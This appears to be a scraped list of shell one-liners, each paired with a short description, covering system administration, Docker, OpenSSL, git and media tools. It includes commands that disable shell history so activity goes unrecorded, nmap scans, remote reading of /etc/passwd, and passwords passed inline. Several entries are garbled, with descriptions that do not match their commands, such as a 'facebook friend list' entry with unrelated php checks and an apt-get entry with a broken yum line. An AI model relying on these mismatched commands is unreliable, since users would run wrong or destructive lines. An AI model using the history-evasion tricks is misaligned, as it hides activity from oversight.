vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt
list all instances of a file in your PATH directories (without duplicates) in PATH order
function wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {print $0}'`; do ls ${DIR}/$1 2>/dev/null; done }
show top 10 most memory hungry process with a simple format of (%mem, pid, short command)
ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10
copy root to new device
rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/
List services running on each open port
nmap -T Aggressive -A -v 127.0.0.1 -p 1-65000
Execute a command without saving it in the history
HISTFILE= ; your_secret_command
Output the latest linux kernel versions from kernel.org
curl 'https://www.kernel.org/kdist/finger_banner'
Compares two source directories, one original and one post configure and deletes the differences in the source folder
diff ../source-dir.orig/ ../source-dir.post/ | grep "Only in" | sed -e 's/^.*\:.\(\<.*\>\)/\1/g' | xargs rm -r
Returns top ten (sub)directories with the highest number of files
find . -type d | while read dir ; do num=`ls -l $dir | grep '^-' | wc -l` ; echo "$num $dir" ; done | sort -rnk1 | head
private mode for (bash) shell
alias private_mode='unset HISTFILE && echo -e "\033[1m[\033[0m\033[4m*\033[0m\033[1m] \033[0m\033[4mprivate mode activated.\033[0m"'
Exclude dumping of specific tables with same prefix from a single database
mysql -uuser -ppass -e 'use information_schema; SELECT table_name FROM tables where table_schema="DB-NAME" and table_name NOT LIKE "PREFIX";' | grep -v table_name | xargs mysqldump DB-NAME -uuser -ppass > dump.sql
Remove all unused kernels with apt-get
% sudo yum remove streams-$(uname-r)
Create a tar archive with all files of a certain type found in present dir and subdirs
tar cvf my_txt_files.tar `find . -type f -name ".txt"`
Docker - delete all non-running container
docker ps -a | grep 'Exit' | awk '{print $1}' | xargs docker rm
Update ESXi
esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION[168/1029] depot-index.xml -p <Release>
Disk usage skipping mount points (even top-level ones)
for a in /*; do mountpoint -q -- "$a" || du -shx "$a"; done | sort -h
git branch point
git merge-base branch1 branch2
Show hidden files in OS X
defaults write com.apple.Finder AppleShowAllFiles TRUE
calculate in commandline with bc
echo "1+1" | bc
Clear iptables rules safely
function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L}
Short URLs with ur1.ca
ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*<a href="\(.*\)">.*$/\1/;p' ; }
Print repeating CSV values on new lines - normalize repeating fields
echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields) = @F; while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }'
Print file list to CSV
dir -C -1 -N -RNCCI /dir/ > file.csv
Apply only preprocessor for .c file and beautify output
gcc -E code.c | sed '/^\#/d' | indent -st -i2 > code-x.c
generate a randome 10 character password
head -c7 /dev/urandom|base64|tr -d '='
diff files ignoring comments and blank lines (lines starting with #)
diff -BI '^#' file{1,2}
Check if TCP port 25 is open
nc -zv localhost 25
extracting the email-server's ip-address.
dig MX example.com +short | cut -d' ' -f2 | sed '1q;d' | xargs dig +short
Docker - delete unused images
docker images | grep '' | awk '{print $3}' | xargs docker rmi
Resize the size of a virtualbox harddrive
sudo VBoxManage modifyhd "vdi location" --resize "new size in MB"
remove all development packages in ubuntu
sudo apt-get remove $(dpkg -l \*-dev | grep ^ii | sed 's/\-dev.*/-dev/' | sed -r 's/.{4}//')
Infinite loop ssh
h=root@localhost ; while ! ssh -o ConnectTimeout=5 $h true; do sleep 5; done; ssh $h
For files owned by root only, change ownership to a non-privileged user.
find /path/to/dir -user root -exec chown [nonprivuser] {} \;
Make sure a script is run in a terminal.
tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
Deal with dot files safely
rm -rf .??*
Recursive script to find all epubs in the current dir and subs, then convert to mobi using calibre's ebook-convert utility
find $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize;done ;done
Regex or
egrep expr1\|expr2 file
Print a bar graph
SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat
Revealing Latitude/Longitude from GNIP Activity Streams Format in Splunk
index=twitter geo.coordinates{}="*"| spath path=geo.coordinates{} output=geocoordinates| eval latitude=mvindex(geocoordinates,1)| eval longitude=mvindex(geocoordinates,0)
Remove auxillary files from you LaTeX directory
rm ^*.(tex|pdf)(.)
Run multiple commands on a remote host with sudo
ssh -t user@host 'sudo bash -c "ls /var/log && cat /etc/passwd"'
erb syntax check
erb -x -T '-' file.erb | ruby -c
Search for a key word in a large list of files and save the results to a file on the desktop
grep -r "word" >> "~/Desktop/filename.txt"
Execute grep only with files related to current node.js project
find * -type d -name node_modules -prune -o -type f -name \*.js -exec grep [opts] [pattern] {} \;
Check an MD5 hash of the public key to ensure that it matches with what is in a CSR or private key
openssl x509 -noout -modulus -in certificate.crt | openssl md5 openssl rsa -noout -modulus -in privateKey.key | openssl md5 openssl req -noout -modulus -in CSR.csr | openssl md5
Disable suspend on lid close until current shell exits
exec systemd-inhibit --what=handle-lid-switch --mode=block bash
Turn /path/to/dir and subdirectories into a project tree
chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \;
alias to show my own configured ip
alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'"
Send Reminders from your Linux Server to Growl on a Mac
remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &
Change your swappiness Ratio under linux
echo 50 > /proc/sys/vm/swappiness
Deal with dot files safely
rm -rf .[!.]*
crop google's icons
convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png
get ip and hostname for this computer
alias me="echo '`ifconfig | grep inet | grep broadcast | awk '{print $2}'`' && uname -n"
Get the first non-empty line in a text file
grep . "$f" | head -n1
find all symlinks to a file
find / -lname path/to/foo.txt
List files containing given search string recursively
find /path/to/dir -type f -print0 | xargs -0 grep -l "foo"
List Remote Git Branches By Author
48 function gbl() { git for-each-ref --sort=-committerdate --format='%(committerdate) %(authorname) %(refname)' refs/remotes/origin/|grep -e ".$@"|head -n 10; }
Use php and md5 to generate a password
echo -n "string" | md5sum|cut -f 1 -d " "
disable gpu acceleration for google chrome browser
/usr/bin/google-chrome-stable --disable-gpu %U
list the file size of files in a directory and sort by size
sudo du --max-depth=1 -h | sort -hr
Check an SSL connection. All the certificates (including Intermediates) should be displayed
openssl s_client -connect www.paypal.com:443
Export all Stremio movie names
time for movie in $(ls -1 $HOME/.config/stremio/backgrounds2 | sort -u);do echo "https://www.imdb.com/title/$movie/" | wget -qO- -O- -i- --header="Accept-Language: en" | hxclean | hxselect -s '\n' -c 'title' 2>/dev/null | tee -a ~/movie-list.txt ; done
Delete all ".svn" directories from current path (recursive)
find . -name ".svn" -exec rm -rf {} \;
opening your helper script without knowing the path (zsh)
less =rcsyslog
Copy the directory you want to specify a comma separated list of directories to copy.
cp -arv ~/Documents/{foo,bar} --target-directory=~/buzz/
Create & transfer tarball over ssh
ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf -
Copy file content to X clipboard
!xclip -i %
Stop Grooveshark destroying your CPU
sudo cpulimit -e Grooveshark -l 20
sort a csv file according to a particular n th field numerically (quicker than excel)
sort -t"," -n -k5 file.csv !!! Example "according to the 5th field NUMERICALLY!!
monitor the last command run
$ history
add border to image
convert input.png -mattecolor gold -frame 10x10+5+5 output.png
Disable rm, use trash instead
alias rm='echo "rm is disabled, use trash or /bin/rm instead."'
Delete/Archive easily old mails using find.
find . -path ".*/cur/*" -type f ! -newermt "1 week ago" -delete
scan subnet for used IPs
nmap -T4 -sn 192.168.1.0/24
dpkg - undo selection of installed packages for deinstall
dpkg -l | grep ^ri | awk '{print $2 " install"}' | sudo dpkg --set-selections
Atualizar Ubuntu
apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y && apt-get autoremove -y && apt-get autoclean -y
find the device when you only know the mount point
awk '$2 == "/media/KINGSTON" {print $1}' /etc/mtab
Get docker port mappings for all running containers
for containerId in $(docker ps | awk '{print $1}' | grep -v CONTAINER); do docker inspect -f "{{ .Name }}" $containerId | sed 's#/##' ; docker port $containerId; done
Make a directory of your choice look exactly like another by only changing whats needed
sudo rsync -aXS --ignore-existing --update --progress
nc file transfer
netcat -lp 6666 > works.tar.g tar -cvzf - work | nc -q0 192.168.1.102 6666
ssl Convert a DER file (.crt .cer .der) to PEM
openssl x509 -inform der -in certificate.cer -out certificate.pem
Apply a command on files with different names
mkdir -p -v /home/user/tmp/{dir1,anotherdir,similardir}
How to Find the Block Size
/sbin/dumpe2fs /dev/hda2 | grep 'Block size'
scp a good script from host A which has no public access to host C, but with a hop by host B
ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript
Router discovery
awk 'NR==2 {print $1}' /proc/net/arp
a simple interactive tool to convert Simplified Chinese (typed by pinyin) to Traditional Chinese 简繁中文转换
echo "Simplied Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line | iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done
showing opened ports on machine
netstat -tulpnc
SVN Status log to CSV (Mac OSX friendly)
svn log | tr -d '\n' | sed -E 's/-{2,}/\'$'\n/g' | sed -E 's/ \([^\)]+\)//g' | sed -E 's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g
remove border of image
convert input.png -shave 10x10 output.png
pacman install list of packages
pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat packages.txt` --noconfirm
converts video to ascii art (txt) by mplayer and aa|caca lib
mplayer -vo aa:eight:driver=curses video.avi >video.txt
Quick syntax highlighting with multiple output formats
pygmentize -l sh ~/.bashrc | less -R
Find files and list them sorted by modification time
find . -type f -exec stat -f '%m %N' {} \; | sort -n
Find processes stuck in dreaded
while true; do date; ps auxf | awk '{if($8=="D") print $0;}'; sleep 1; done
Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan | grep -v LISTEN | grep \":80 \" | awk {'print \$5'} | cut -d: -f 1 | uniq -c | sort -nk 1"
View facebook friend list [hidden or not hidden]
php -r "echo ini_get('allow_url_fopen');" php -r "echo function_exists('curl_init');" php -r "echo function_exists('json_decode');"
Convert ascii string to hex
echo -n text | hexdump -C
Untar file in current directory
tar xvzf <file.tar.gz>
create an empty file
touch /path/to/file
Google Authenticator. Setup a user and email them a QR code.
google-authenticator -tdfo -i "Company" -l "GAuth" -r 3 -R 30 -w 17 -Q UTF8 | cut -c 62- | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e | qrencode -o qrcode.png | sendemail -t user@domain.com -f sender@domain.com -u "QR" -a qrcode.png
ssl Convert a PEM file to DER (crt etc)
openssl x509 -outform der -in certificate.pem -out certificate.crt
create /dev/null if accidentally deleted or for a chroot
mknod -m 0666 /dev/null c 1 3
teatimer
sleep 3m; play bigben.wav
Sum of the total resident memory Stainless.app is using.
ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}'
Get the title of a youtube video
youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\(.*\)'.*$;\1;"; };
Watch and keep history of a command
CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$(eval $CMD)"; DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then date; echo "Diff #$N (${SEC}s): $CMD"; echo "$DIFF"; fi; N=$[$N+1]; done | tee /tmp/keepr
create a image matrix
montage *.png -mode concatenate -tile 10x all.png
anti-spam
date -u +%W$(uname)|sha256sum|sed 's/\W//g'
Convert flv/mp4 video to ogg/mp3
ffmpeg -i video.flv audio.ogg
Get last argument of last comman using $_ var
chown davidp:users /some/long/path/file && chmod g+rx $_
resize all images in folder and create new images (w/o overwriting)
for file in *; do convert $file -resize 800x600 resized-$file; done
Find a machine's IP address and FQDN
for i in `ip addr show dev eth1 | grep inet | awk '{print $2}' | cut -d/ -f1`; do echo -n $i; echo -en '\t'; host $i | awk '{print $5}'; done
Empty a file
for file in `ls *.log`; do `:> $file`; done
show sorted large file list
sudo du -kx / |sort -n| awk '{print $1/(1000*1000) " G" ,$2}'
display file permissions in octal format
stat -c '%A %a %n' /path/to/file
Multi-thread any command
find . -mtime +1000 -type f
Convert a PKCS#12 file (.pfx .p12) containing a private key and certificates to PEM
openssl pkcs12 -in keyStore.pfx -out keyStore.pem -nodes
Get Hardware UUID in Mac OS X
ioreg -d2 -c IOPlatformExpertDevice | awk -F\" '/IOPlatformUUID/{print $(NF-1)}'
Disable Mac OS X Dashboard
defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock
Run gunzipped sql file in PostGres, adding to the library since I couldnt find this command anywhere else on the web.
gzip -dc /tmp/pavanlimo.gz | psql -U user db
Return IP Address
perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";'
print the first line of every file which is newer than a certain date and in the current directory
find . -type f -newer 201011151300.txt -exec head -1 {} \;
md5 checksum check
digest -a -v md5 <file-name>
Python virtual-env creation
$sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv; source jpaenv/bin/activate
CPU Frequency/Speed Set
sudo cpupower frequency-set -g <frequency governor>
Screencast of your PC Display with webm output
avconv -v warning -f alsa -ac 2 -i default -f x11grab -r 15 -s wxga -i :0.0 -acodec libvorbis -ab 320k -vcodec libvpx -qmax 2 -qmin 1 -threads auto -y -metadata title="Title here" ~/Video/AVCONV_REG.webm
Remove all older kernels then the current running kernel for Ubuntu/Debian base system
export KEEP_KERNEL=2; dpkg -l 'linux-image*' | awk '/^ii/ { print $2 }' | grep "[0-9]" | awk 'BEGIN{i=1}{print i++, $0}' | grep `uname -r` -B99 | sort -r | tail -n+$(($KEEP_KERNEL+2)) | awk '{print $2}'| xargs apt-get -y purge
A simple function to conveniently extract columns from an input stream
col() { awk '{print $('$(echo $* | sed -e s/-/NF-/g -e 's/ /),$(/g')')}'; }
rename files (in this case pdfs) numerically in date order
find . -name "*.pdf" -print0 | xargs -r0 stat -c %y\ %n | sort|awk '{print $4}'|gawk 'BEGIN{ a=1 }{ printf "mv %s %04d.pdf\n", $0, a++ }' | bash
Convert a PEM certificate file and a private key to PKCS#12 (.pfx .p12)
openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt
Generate a Random Password
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
Determine what process is listening on a port on Solaris, without lsof
for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null
resolve hostname to IP our vice versa with less output
hostresult=$(host -t A www.example.com); echo "${hostresult##* }"
Extract specific lines from a text file using Stream Editor (sed)
sed -n -e 1186,1210p A-small-practice.in
find something
find $SDIR -name '${f}.*' -mtime +$n -maxdepth 1 | xargs -n 10 rm -vf
CPU Frequency/Speed/Clock Information
cpupower frequency-info
Count total number of subdirectories in current directory starting with specific name.
ls -d1 pattern*/ | wc -l
ls sort by human readable size (redhat)
ls -lSr
Get IP address from domain
host example.com | head -1 | awk '{print $4}'
Kill all processes found in grep
for line in `ps aux | grep <string> | awk '{print $2}'`; do sudo kill $line; done;
Dynamic Range in Bash
$(eval "echo {${min}..${max}}")
Create video clip from single image.
avconv -loop 1 -i company-logo-1920x992.png -t 2 -r 2 logo.avi
Find and delete files over 15 days
find ./ -type f -name *.file -mtime +15 | xargs rm -f
Download curl with follow redirects
curl -L -O https://access.redhat.com/site/documentation/en-US/Red_Hat_Directory_Server/9.0/pdf/9.1_Release_Notes/Red_Hat_Directory_Server-9.0-9.1_Release_Notes-en-US.pdf
Epoch from time protocol port 37
telnet time.nist.gov 37 2>/dev/null |tail -1 | xxd | awk '{print $2 $3}'|tr -d '\n' | perl -nwe "print scalar(hex($1)-2208988800).\"\n\""
Start a new shell as another user without know the password.
sudo su <user>
ssl Check a Certificate Signing Request (CSR)
openssl req -text -noout -verify -in CSR.csr
Set date and time
sudo date -s "26 OCT 2008 19:30:00"
Get last changed revision to all eclipse projects in a SVN working copy
find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//'
List of commands you use most often
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
run complex remote shell cmds over ssh, without escaping quotes
perl -e 'system @ARGV, <STDIN>' ssh host -l user < cmd.txt
Rename files in a directory in an edited list fashion
exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done
Recursive script to find all epubs in the current dir and subs, then convert to mobi using calibre's ebook-convert utility
find . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --still --more --options' \;
Create multiple files in a single command
touch file{1,2,3,4,5}.sh
Manual CPU Frequency/Speed/Clock Set
sudo cpupower frequency-set -f <frequency in MHz>
Resize images with mogrify with lots of options
find . -name '*.jpg' -o -name '*.JPG' -print0 | xargs -0 mogrify -resize 1024">" -quality 40
Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,6\}$" |head -n4 | sed -e "s/\b\(.\)/\u\1/g" | tr -d '\n'; echo
Insert line(s) at top of file using sed
sed -i '1iI am a new line' file.txt
Get user's full name in Mac OS X
finger $(whoami) | egrep -o 'Name: [a-zA-Z0-9 ]{1,}' | cut -d ':' -f 2 | xargs echo
Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
Split-Path -Leaf ([xml](svn info --xml)).info.entry.url
s3cmd du s3://bucket-name | awk '{print $0/1024/1024/1024" GB"}'
s3cmd du s3://bucket-name | awk '{print $0/1024/1024/1024" GB"}'
ssl Check a private key
openssl rsa -in privateKey.key -check
Pluralize user input
pluralize() { if [ -n "$1" ]; then echo ${1}s else while read line; do pluralize $line done fi }
Percental CPU scaled load average
alias sysload='printf "System load (1m/5m/15m): "; for l in 1 2 3 ; do printf "%.1f%s" "$(( $(cat /proc/loadavg | cut -f $l -d " ") * 100 / $(nproc) ))" "% "; done; printf "\n"'
(Inside of a shell script) Make executable a BeanShell script under Linux/Cygwin
///bin/true; exec java bsh.Interpreter "$0" "$@"
Picture Renamer
ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done
Disable bluetooth on your laptop to save battery
rfkill block bluetooth
print line and execute it in BASH
set -x
Reading my nic's mac address
ifconfig eth3|sed 's/^eth3.*HWaddr //;q'
Quick and dirty version control for one file
v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) }
grayscale image
convert input.png -colorspace Gray output.png
mysql login as privileged user on multiple machines with differend mysql root password
mysql --defaults-file=/etc/mysql/debian.cnf
Alarmclock function makes usage of a BEL (a) character.
alarmclock() { [ $1 ] || echo Parameter TIME is missing. 1>&2 && return 1 ; ( sleep $1 ; for x in 9 8 7 6 5 4 3 2 1 ; do for y in `seq 0 $[ 10 - $x ] ` ; do printf "\a"; sleep 0.$x ; done ; done ) & }
prints line numbers
awk '{print NR "\t" $0}'
Let you vanish in the (bash) history.
export HISTFILE=/dev/null
List debian package installed by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
list executed files current dir
ls -al | awk '/^-rwx/ {print $9}'
Easy way to check memory consumption
free -mh
set create time using file name for files pulled from android camera
find . -type f -exec echo -n "touch -t \`echo " \; -exec echo -n {} \; -exec echo -n " | sed -E 's/.*([[:digit:]]{8})_([[:digit:]]{4})([[:digit:]]{2}).*/\1\2.\3/g'\` " \; -exec echo {} \; | sh
Convert SWF to video
i=in.swf; dump-gnash -1 -j 1280 -k 720 -D "${i%.*}".bgra@12 -A "${i%.*}".wav "${i}"
ssl Check a certificate
openssl x509 -in certificate.crt -text -noout
Bootstrap python-pip & setuptools
python -m ensurepip --default-pip && python -m pip install --upgrade pip setuptools wheel
Generate a specification file for file integrity scanning.
mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree
covert m4a audio files to wav
find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao pcm:file="audiofile.wav"
Extract XML from an otherwise plain text log file
sed -n '/<Tag>/,/<\/Tag>/p' logfile.log
turn lines in columns in csv format
ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'
Remove all .svn folders
find . -name .svn -print0 | xargs -0 rm -rf
flush (not delete) frozen emails from exim's mail queue
exipick -zi | while read x ; do exim -dM "$x"; sleep 1;done
Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; echo $x | festival --tts & done
Automatic Plesk login:
https://yourserver.com:8443/login_up.php3?login_name=admin&passwd=yourpassword
Convert uniq output to json
uniq -c | sed -r 's/([0-9]+)\s(.*)/"\2": \1,/;$s/,/\n}/;1i{'
To display the message
echo "Hello WOrld"
Check a PKCS#12 file (.pfx or .p12)
openssl pkcs12 -info -in keyStore.p12
Send a file to the first reachable KDE Connect device
kdeconnect-cli -d $(kdeconnect-cli -a --id-only) --share kdeconnect-cli-send-file.sh
Show the 10001000 and 10241024 size of HDs on system
for I in $(awk '/d[a-z]+$/{print $4}' /proc/partitions); do sudo hdparm -I '/dev/'$I; done | grep 'device size with M'
Get the total size (in human readable form) of all certain file types from the current directory
find . -name 'pattern'| xargs du -hc
Find installed packages that are not in the portage tree anymore.
for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done
Autofocus window after executing some command
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; }
find an unused unprivileged TCP port
netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)$/ ) { $x{$1}=1 } END{ print( (grep {!$x{$_}} 32768..61000)[0] . "\n" )}'
read squid logs with human-readable timestamp
tail -f /var/log/squid/access.loc | ccze -CA
Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4
Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; hours=$(($x/3600)); minutes=$(($x%3600/60)); seconds=$(($x%60)); echo "$hours hours $minutes minutes $seconds seconds have elapsed" | festival --tts & done
Output centralized text on command line
centralized(){ L=`echo -n $*|wc -c`; echo -e "\x1b[$[ ($COLUMNS / 2) - ($L / 2) ]C$*"; }
checklist for 64-bit java on Linux
grep -l 'flags.*\<lm\>' /proc/cpuinfo && (getconf LONG_BIT | grep '64') && java -version
Adding Netvibes subscription option to Firefox and add multiple rss feeds to netvibes
for var in "$@" do echo $var URL="http://www.netvibes.com/subscribe.php?type=rss&url=$var" sensible-browser $URL done
Find directories in pwd, get disk usage, sort results
find . -type d -d 1 -print0 | xargs -0 du -sm | sort -nr
check broken links using wget as a spider
wget --spider -nd -e robots=off -prb -o wget-log -nv http://example.com
Convert entire music library
lc() { od="$1"; nd="$2"; of=$3; nf=$4; cp -rl "$od" "$nd"; find $nd -type f -iname \*$of -print -execdir ffmpeg -i {} -loglevel error -q:a 6 {}.$nf \; -execdir rm {} +; find $nd -type f -iname \*.$of.$nf -execdir rename "s/$of.$nf/$nf/" {} +; }
set text file into background
cat foo.txt | aha --black --line-fix | wkhtmltoimage -q --minimum-font-size 18 - - | feh --bg-max -
Get all lines that start with a dot or period
grep '^\.' file
Lists open ports
netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)"
Match non-empty lines
grep -v "^\W$" <filename>
Change open file descriptors limit.
ulimit -n <value>
View firewall config including devices on linux w/netfilter
iptables -L -n -v
Get the latest Geek and Poke comic
wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O geekandpoke.jpg
Count words in a TeX/LaTeX document.
detex document.tex|wc -w
Join all sequentially named files in the directory
x=(*.001); cat "${x%.001}."* > "${x%.001}" #unsafe; does not check that all the parts are there, or that the file-sizes make sense!
Resize participating terminals to classic 80x24 size.
alias mid='printf "\e[8;24;80;t"'
find *.lock files and delete
find -name *.lock |xargs rm -f
Check if hardware is 32bit or 64bit
grep " lm " /proc/cpuinfo > /dev/null && echo "64-bit" || echo "32-bit"
Build a Stage 4 cross compiler for x86_64-elf with Gentoo's crossdev
EXTRA_ECONF="--disable-libquadmath --enable-languages=c" crossdev --target x86_64-elf -s4
Show concurrent memory usage for individual instances of an application
ps -eo pmem,comm | grep application-name
human readable docker ps output
docker ps | sed -e 's/ /\+/g' -e 's/CONTAINER ID/CONTAINER_ID/' | tr -s '+' '\t' | q -t 'select c1,substr(c7, 0, 40),c2,c6 from -' | column -t
10 files backup rotate in crontab
for file in $(find /var/backup -name "backup*" -type f |sort -r | tail -n +10); do rm -f $file; done ; tar czf /var/backup/backup-system-$(date "+\%Y\%m\%d\%H\%M-\%N").tgz --exclude /home/dummy /etc /home /opt 2>&- && echo "system backup ok"
A sorted summary of disk usage including hidden files and folders
du -ks .[^.]* * | sort -n
Check if the LHC has destroyed the world
curl -q -s http://www.hasthelhcdestroyedtheearth.com/ | sed -En '/span/s/.*>(.*)<.*/\1/p'
Git reset added new files
for f in `git status | grep new | awk '{print $3}'`; do git reset HEAD $f ; done
Create a visually twisted effect by alternating the direction of the "staples" effect vertically. The effect is achieved by moving odd-numbered lines from right to left and even-numbered lines from left to right.
while :; do for ((i=0;i<$(tput cols);i++));do clear;for ((j=0;j<$(tput lines);j++));do printf "\e[48;5;$((RANDOM%256))m%*s\e[0m\n" $(((j+i)%2?$(tput cols)-i:i)) "";done;sleep 0.05;done;done
View video cam from remote machine during ssh session
xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0
Get Interface's IP on Mac
ipconfig getifaddr <Interface>
Kill multiple Locked connection by a single user in MYSQL DB
for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <<username>>| grep <<Locked>>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXXX kill $i; done;
Print a row of 50 hyphens
awk 'BEGIN{while (a++<50) s=s "-"; print s}'
How to use rysnc over ssh tunnel
sshpass -p [password] rsync -av -e ssh [utente]@[indirizzoip]:/directorydacopiare/ /directorydidestinazione
Remove all .svn folders
shopt -s globstar; rm -rfv **/.svn
Clear scrollback on all participating terminals.
alias cls='printf %b '\''\033c'\'''
Aspect ratio of a resolution
aspectRatio () { for i in `seq 1 1000 `; do awk "BEGIN {print $1/$i, $2/$i}"; done |grep -v "\."; }
The following commands can be used to reverse the sequence of lines in a file
nl -ba FILE | sort -nr | cut -f2-
Connected to first screen session created
screen -x $(screen -ls | awk 'NR == 2 { print $1 }')
find geographical location of an ip address
function ip-where { wget -qO- -U Mozilla http://www.ip-adress.com/ip_tracer/$1 | html2text -nobs -style pretty | sed -n /^$1/,/^$/p;}
Capture video of a linux desktop
gtk-recordMyDesktop
Run a command in every (direct) sub-folder
for i in */; do echo run_command "${i}"; done
watch iptables counters
watch -d -n 2 iptables -nvL
Number of apache2 processes running with memory usage filter (sorting asc)
watch -n0.5 'ps -e -o pid,vsz,comm= | sort -n -k 2 | grep apache | wc -l'
extract and initrd image
mkdir tmp ; cd tmp ; zcat ../initrd.gz | cpio -i
Print traceback when captured with except
import traceback sys.exit(traceback.print_exc())
Monitor Ebay for cheap things with shipping
xidel --quiet 'http://www.ebay.com/sch/Beds-Bed-Frames-/175758/i.html?_from=R40&_sac=1&_sop=15&_nkw=bed' -e 'css(".lvresult")[not(matches(., "Pickup only|BUILDING PLANS \(ONLY\)|PARTS LIST"))]/css(".lvtitle")/(.||": "||a/@href)' -f 'css("a.gspr.next")'
Thread count per user
ps -u jboss -o nlwp= | awk '{ num_threads += $1 } END { print num_threads }'
Change a text files contents without opening it, or intermediate files.
print 'g/'delete this line'/delete\nwq' | ex file.txt
Print a row of 50 hyphens
jot -s '' -b '-' 50
List alive hosts in specific subnet
for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines $1 $2'
Ranking of the most frequently used commands
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
Backup a file with a date-time stamp
buf() { f=${1%%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;}
List 50 largest source files in a project
find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50
Get the total length of all video / audio in the current dir in Hs
mplayer -endpos 0.1 -vo null -ao null -identify *.avi 2>&1 |grep ID_LENGTH |cut -d = -f 2|awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'
Kill processes associated with PATTERN
ps -fea | grep PATTERN | awk {'print $2'} | xargs kill -9
a simple way to calculate the sum of all digits of a number
